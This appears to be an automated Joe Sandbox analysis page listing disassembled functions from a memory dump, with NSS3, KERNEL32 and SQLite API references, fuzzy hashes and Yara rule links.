Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 0421a808819451dd6dad16a5801911c53fa1104dcb5de8daab12f7f17d1d9029
Instruction ID: 1de04ae1fdd79e6ba6984197833b5ae938a2cd0584c68d9d03411dbff021d126
Opcode Fuzzy Hash: 0421a808819451dd6dad16a5801911c53fa1104dcb5de8daab12f7f17d1d9029
Instruction Fuzzy Hash: E3211DB5604B41ABEB108F75D809BE777E8AF45708F040928E55A87641EB76E014CBE2

Function 6CFD3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6D04460B,?,?), ref: 6CFD3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CFD3CB9
PL_HashTableLookup.NSS3(?), ref: 6CFD3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CFD3CD6
PR_Unlock.NSS3 ref: 6CFD3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CFD3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD3D03
PR_Unlock.NSS3 ref: 6CFD3D15

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 083439d63473abee865732841012fada35c34ac7b8fdc4477227ddcf40317e24
Instruction ID: faed1bacf219449337603a90dc947f8c3b1433a148cbe9f559bf101a38e5b1f3
Opcode Fuzzy Hash: 083439d63473abee865732841012fada35c34ac7b8fdc4477227ddcf40317e24
Instruction Fuzzy Hash: 76112CBBD01505B7EB112B24FC05BA63A7DEF4225CB1F0130EE1893611F762E86C8AD1

Function 6CFD9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFF11C0: PR_NewLock.NSS3 ref: 6CFF1216

free.MOZGLUE(?), ref: 6CFD9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD9E4E
TlsGetValue.KERNEL32 ref: 6CFD9EA2

Part of subcall function 6CFE9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CFE9546

EnterCriticalSection.KERNEL32(?), ref: 6CFD9EB6
PR_Unlock.NSS3 ref: 6CFD9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFD9F18

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f810f6c6fd3972602f2714f4aa6f62f521915413c7e9ab368e72a0a0ddd8552a
Instruction ID: a6d4958886d43bbe0c292f8b7124ed34a90571a335b998ab37bf21c9b3ae8cbd
Opcode Fuzzy Hash: f810f6c6fd3972602f2714f4aa6f62f521915413c7e9ab368e72a0a0ddd8552a
Instruction Fuzzy Hash: C881E4B6900701ABEB109F74DC40BEB77A9BF44248F1A4528E85987B41FF31FA54C7A1

Function 6CFEDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFF1397,5B5F5EC0,?,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB3C
Part of subcall function 6CFEAB10: free.MOZGLUE(D958E836,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB49
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(5D5E6D1E), ref: 6CFEAB5C
Part of subcall function 6CFEAB10: free.MOZGLUE(5D5E6D12), ref: 6CFEAB63
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFEAB6F
Part of subcall function 6CFEAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFEAB76

TlsGetValue.KERNEL32 ref: 6CFEDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CFEDD0E
PK11_IsFriendly.NSS3(?), ref: 6CFEDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CFEDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFEDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFEDEA6
PR_Unlock.NSS3(?), ref: 6CFEDF08

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 8c93038bd5dcb2f8971741835b8c721346edafd43c25d14e45a2da9ae11aae43
Instruction ID: 37d82c487798860cb335a637b06d3b7d31f7e92f3606a8b0b7a03d265cbbf5d9
Opcode Fuzzy Hash: 8c93038bd5dcb2f8971741835b8c721346edafd43c25d14e45a2da9ae11aae43
Instruction Fuzzy Hash: 1391E5B5E00205AFEB10DF68D884BABB7B5FF88308F254029DD199BB41E731E955CB91

Function 6CFA5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA60AB
sqlite3_config.NSS3(00000004,6D0F4CA4,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA60EB
sqlite3_config.NSS3(00000012,6D0F4CC4,?,?,6D08BB62,00000004,6D0F4CA4,?,?,00000000,?,?,6CF631DB), ref: 6CFA6122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFA6095
misuse, xrefs: 6CFA609F
%s at line %d of [%.10s], xrefs: 6CFA60A4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: d859fd9206a82422edab4af8d734984e0756b58d0d9c03a89b8a1eaed5955df6
Instruction ID: 588674dfe4934269361336d5bec3be8a88914d94920c6cc1218e906f6e3ac468
Opcode Fuzzy Hash: d859fd9206a82422edab4af8d734984e0756b58d0d9c03a89b8a1eaed5955df6
Instruction Fuzzy Hash: 97B14074E04646DFCB04CFACD240AA9B7F0FB1E304B158159E509AB362E771ABC6CB59

Function 6CF54F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF54FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF551BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CF551DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF551A5
misuse, xrefs: 6CF551AF
%s at line %d of [%.10s], xrefs: 6CF551B4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: f5233afd613824f69dab49022c40f737db79fccc192d01a174aa8b709d85ecc8
Instruction ID: 83960a440ebd82d00f22017406fe0d2be672e892ea594bfe22c0ac17875f89e3
Opcode Fuzzy Hash: f5233afd613824f69dab49022c40f737db79fccc192d01a174aa8b709d85ecc8
Instruction Fuzzy Hash: 7E71AEB160420A9FEB00CE59CC80B9B7BF9BF58308F554125FE199BA85D731E961CBA1

Function 6CFC2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CFC2D69

Strings

winUnmapfile2, xrefs: 6CFC2F7F
winUnmapfile1, xrefs: 6CFC2F55
winTruncate1, xrefs: 6CFC2EBE
winSeekFile, xrefs: 6CFC2E9C
winTruncate2, xrefs: 6CFC2EF8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 43a643dbb879168536b7555f914327259df043594ee27d42b4faaebf45ebcd90
Instruction ID: 5ace5ec4135f9e4e0d1da0b0f7e8cd10cb0620e82bfe40c712f3117c54aa7a16
Opcode Fuzzy Hash: 43a643dbb879168536b7555f914327259df043594ee27d42b4faaebf45ebcd90
Instruction Fuzzy Hash: C561A275B00205AFDB04CFA8DC98BAB77B1FF49314F108128E915AB790DB72AD06CB91

Function 6D03FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D03FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6D03F165,6D10219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D03FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6D03F165,?), ref: 6D0400A6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 86b66d13cd35b1ecbb4a3c0b87dca894313d3f578e4e9ddff9230fa86c7392c4
Instruction ID: a0167cf8e25017081328d4d5a019686a4e098147db71a5ebf45d35f5200ce8ae
Opcode Fuzzy Hash: 86b66d13cd35b1ecbb4a3c0b87dca894313d3f578e4e9ddff9230fa86c7392c4
Instruction Fuzzy Hash: 0651C271E08226DFEB108E9AC880BBEB7B5BB59354F558139DD55B7240D371AC008BD1

Function 6CFFDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFFDF37
EnterCriticalSection.KERNEL32(?), ref: 6CFFDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CFFE02B
PR_Unlock.NSS3(?), ref: 6CFFE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFFE090
PR_Unlock.NSS3(?), ref: 6CFFE0AF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a54cbbf321e20d5403362bcbf88281c17d55f0ef759124b6c7b8cbf11bbfd4a1
Instruction ID: f2dfab802c05f41f6337b58856b4202f6db1437e7a474aa101120d7d634e5a32
Opcode Fuzzy Hash: a54cbbf321e20d5403362bcbf88281c17d55f0ef759124b6c7b8cbf11bbfd4a1
Instruction Fuzzy Hash: 7451B072A00600DFEB209F24D844F5773B5FF45318F214528E96687BB1D771E95ACB92

Function 6D01AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6D01AB3E,?,?,?), ref: 6D01AC35

Part of subcall function 6CFFCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CFFCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6D01AB3E,?,?,?), ref: 6D01AC55

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D01AB3E,?,?), ref: 6D01AC70

Part of subcall function 6CFFE300: TlsGetValue.KERNEL32 ref: 6CFFE33C
Part of subcall function 6CFFE300: EnterCriticalSection.KERNEL32(?), ref: 6CFFE350
Part of subcall function 6CFFE300: PR_Unlock.NSS3(?), ref: 6CFFE5BC
Part of subcall function 6CFFE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CFFE5CA
Part of subcall function 6CFFE300: TlsGetValue.KERNEL32 ref: 6CFFE5F2
Part of subcall function 6CFFE300: EnterCriticalSection.KERNEL32(?), ref: 6CFFE606
Part of subcall function 6CFFE300: PORT_Alloc_Util.NSS3(?), ref: 6CFFE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6D01AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6D01AB3E), ref: 6D01ACD7
PORT_Alloc_Util.NSS3(?), ref: 6D01AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6D01AD2B

Part of subcall function 6CFFF360: TlsGetValue.KERNEL32(00000000,?,6D01A904,?), ref: 6CFFF38B
Part of subcall function 6CFFF360: EnterCriticalSection.KERNEL32(?,?,?,6D01A904,?), ref: 6CFFF3A0
Part of subcall function 6CFFF360: PR_Unlock.NSS3(?,?,?,?,6D01A904,?), ref: 6CFFF3D3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d100916fc4ea0bd778673fccf649cd22e8e687042a87b43ad027785d953fa698
Instruction ID: 22ad5f7d255e48b8384b2705ae4503f02e61ce6a54141edfc4ef5e3487d3f037
Opcode Fuzzy Hash: d100916fc4ea0bd778673fccf649cd22e8e687042a87b43ad027785d953fa698
Instruction Fuzzy Hash: B631FDB1E045165FFB009FA5DC40EBF77A6EF84328B258138E9159B341E731DD1687A1

Function 6CFF8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFF8C7C

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFF8CB0
TlsGetValue.KERNEL32 ref: 6CFF8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CFF8CE5
PR_Unlock.NSS3(?), ref: 6CFF8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CFF8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF8D93

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: df4d74a1fb2e306f9d9948f2fa186a6f22dca445e71e6ce821c8828617af7ef3
Instruction ID: 5802c91b14091a28e965267e48d2d215ce58f195b5453e2e237b9ef3f51b7f52
Opcode Fuzzy Hash: df4d74a1fb2e306f9d9948f2fa186a6f22dca445e71e6ce821c8828617af7ef3
Instruction Fuzzy Hash: F0316871A01201AFE7009F65DC4079E77B4FF46318F140136EE2567760D770A965C7E1

Function 6D039D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D039C5B), ref: 6D039D82

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D039C5B), ref: 6D039DA9

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03136A
Part of subcall function 6D031340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03137E
Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?), ref: 6D0313CF
Part of subcall function 6D031340: PR_Unlock.NSS3(?,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D039C5B), ref: 6D039DCE

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D0313F0
Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,?,?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6D031445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D039C5B), ref: 6D039DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6D039C5B), ref: 6D039DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D039C5B), ref: 6D039E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6D039C5B), ref: 6D039E91

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Part of subcall function 6D031560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6D02FAAB,00000000), ref: 6D03157E
Part of subcall function 6D031560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6D02FAAB,00000000), ref: 6D031592
Part of subcall function 6D031560: memset.VCRUNTIME140(?,00000000,?), ref: 6D031600
Part of subcall function 6D031560: PL_ArenaRelease.NSS3(?,?), ref: 6D031620
Part of subcall function 6D031560: PR_Unlock.NSS3(?), ref: 6D031639

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 74c0e88c73f29a0757390be78bcddf2a8a48e80c5378e5aed5be3c47a6505eae
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
